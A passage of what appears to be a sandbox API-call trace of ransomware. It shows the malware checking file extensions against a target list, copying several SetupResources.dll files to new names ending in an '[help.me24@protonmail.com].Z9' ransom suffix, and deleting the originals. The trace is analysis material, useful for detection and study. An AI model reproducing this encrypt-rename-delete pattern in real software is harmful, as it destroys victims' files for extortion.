	[0071.514] lstrlenW (lpString=".ppt") returned 4
	[0071.514] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString=".zip") returned 4
	[0071.514] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString=".rar") returned 4
	[0071.514] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString=".bz2") returned 4
	[0071.514] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.514] lstrlenW (lpString=".7z") returned 3
	[0071.514] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString=".dbf") returned 4
	[0071.514] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString=".1cd") returned 4
	[0071.514] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString=".jpg") returned 4
	[0071.514] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString=".doc") returned 4
	[0071.515] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString=".docx") returned 5
	[0071.515] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.515] lstrlenW (lpString=".pdf") returned 4
	[0071.515] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString=".xls") returned 4
	[0071.515] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString=".xlsx") returned 5
	[0071.515] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.515] lstrlenW (lpString=".ppt") returned 4
	[0071.515] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString=".zip") returned 4
	[0071.515] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString=".rar") returned 4
	[0071.515] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.515] lstrlenW (lpString=".bz2") returned 4
	[0071.515] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.515] lstrlenW (lpString=".7z") returned 3
	[0071.515] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString=".dbf") returned 4
	[0071.515] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString=".1cd") returned 4
	[0071.515] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.515] lstrlenW (lpString=".jpg") returned 4
	[0071.516] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.516] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.516] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.516] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.726] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19288) returned 1
	[0071.726] CloseHandle (hObject=0x324) returned 1
	[0071.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80
	[0071.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.727] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.727] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.727] GetLastError () returned 0x0
	[0071.727] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0071.774] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0071.775] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.775] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.775] SetEndOfFile (hFile=0x350) returned 1
	[0071.775] CloseHandle (hObject=0x350) returned 1
	[0071.776] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.776] SetEndOfFile (hFile=0x324) returned 1
	[0071.781] CloseHandle (hObject=0x324) returned 1
	[0071.781] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.781] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString=".doc") returned 4
	[0071.782] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString=".docx") returned 5
	[0071.782] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.782] lstrlenW (lpString=".pdf") returned 4
	[0071.782] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString=".xls") returned 4
	[0071.782] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString=".xlsx") returned 5
	[0071.782] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.782] lstrlenW (lpString=".ppt") returned 4
	[0071.782] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString=".zip") returned 4
	[0071.782] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString=".rar") returned 4
	[0071.782] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.782] lstrlenW (lpString=".bz2") returned 4
	[0071.782] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.782] lstrlenW (lpString=".7z") returned 3
	[0071.782] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString=".dbf") returned 4
	[0071.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString=".1cd") returned 4
	[0071.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.782] lstrlenW (lpString=".jpg") returned 4
	[0071.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString=".doc") returned 4
	[0071.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString=".docx") returned 5
	[0071.783] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.783] lstrlenW (lpString=".pdf") returned 4
	[0071.783] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString=".xls") returned 4
	[0071.783] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString=".xlsx") returned 5
	[0071.783] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.783] lstrlenW (lpString=".ppt") returned 4
	[0071.783] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString=".zip") returned 4
	[0071.783] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString=".rar") returned 4
	[0071.783] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.783] lstrlenW (lpString=".bz2") returned 4
	[0071.783] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.783] lstrlenW (lpString=".7z") returned 3
	[0071.783] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString=".dbf") returned 4
	[0071.783] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString=".1cd") returned 4
	[0071.783] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0071.783] lstrlenW (lpString=".jpg") returned 4
	[0071.783] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.784] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.784] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.784] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17752) returned 1
	[0071.784] CloseHandle (hObject=0x324) returned 1
	[0071.784] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80
	[0071.784] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.784] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.784] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.784] GetLastError () returned 0x0
	[0071.785] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0071.828] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0071.829] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.830] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.830] SetEndOfFile (hFile=0x350) returned 1
	[0071.830] CloseHandle (hObject=0x350) returned 1
	[0071.831] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.831] SetEndOfFile (hFile=0x324) returned 1
	[0071.832] CloseHandle (hObject=0x324) returned 1
	[0071.832] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.832] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".doc") returned 4
	[0071.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString=".docx") returned 5
	[0071.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.833] lstrlenW (lpString=".pdf") returned 4
	[0071.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString=".xls") returned 4
	[0071.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString=".xlsx") returned 5
	[0071.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.833] lstrlenW (lpString=".ppt") returned 4
	[0071.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".zip") returned 4
	[0071.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString=".rar") returned 4
	[0071.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString=".bz2") returned 4
	[0071.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.833] lstrlenW (lpString=".7z") returned 3
	[0071.833] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".dbf") returned 4
	[0071.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".1cd") returned 4
	[0071.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".jpg") returned 4
	[0071.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.833] lstrlenW (lpString=".doc") returned 4
	[0071.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString=".docx") returned 5
	[0071.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.834] lstrlenW (lpString=".pdf") returned 4
	[0071.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString=".xls") returned 4
	[0071.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString=".xlsx") returned 5
	[0071.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.834] lstrlenW (lpString=".ppt") returned 4
	[0071.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.834] lstrlenW (lpString=".zip") returned 4
	[0071.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString=".rar") returned 4
	[0071.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.834] lstrlenW (lpString=".bz2") returned 4
	[0071.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.834] lstrlenW (lpString=".7z") returned 3
	[0071.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.834] lstrlenW (lpString=".dbf") returned 4
	[0071.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.834] lstrlenW (lpString=".1cd") returned 4
	[0071.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0071.834] lstrlenW (lpString=".jpg") returned 4
	[0071.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.834] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.834] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.834] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.835] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18776) returned 1
	[0071.835] CloseHandle (hObject=0x324) returned 1
	[0071.835] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80
	[0071.835] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0071.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.839] GetLastError () returned 0x0
	[0071.839] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0072.465] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0072.467] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.467] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0072.467] SetEndOfFile (hFile=0x350) returned 1
	[0072.467] CloseHandle (hObject=0x350) returned 1
	[0072.468] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.468] SetEndOfFile (hFile=0x324) returned 1
	[0072.469] CloseHandle (hObject=0x324) returned 1
	[0072.469] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.470] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1
	[0072.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.470] lstrlenW (lpString=".doc") returned 4
	[0072.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString=".docx") returned 5
	[0072.470] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0072.470] lstrlenW (lpString=".pdf") returned 4
	[0072.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString=".xls") returned 4
	[0072.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString=".xlsx") returned 5
	[0072.470] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0072.470] lstrlenW (lpString=".ppt") returned 4
	[0072.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.470] lstrlenW (lpString=".zip") returned 4
	[0072.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString=".rar") returned 4
	[0072.470] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0072.470] lstrlenW (lpString=".bz2") returned 4
	[0072.470] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0072.470] lstrlenW (lpString=".7z") returned 3
	[0072.470] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0072.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.470] lstrlenW (lpString=".dbf") returned 4
	[0072.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".1cd") returned 4
	[0072.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".jpg") returned 4
	[0072.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".doc") returned 4
	[0072.471] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString=".docx") returned 5
	[0072.471] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0072.471] lstrlenW (lpString=".pdf") returned 4
	[0072.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString=".xls") returned 4
	[0072.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString=".xlsx") returned 5
	[0072.471] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0072.471] lstrlenW (lpString=".ppt") returned 4
	[0072.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".zip") returned 4
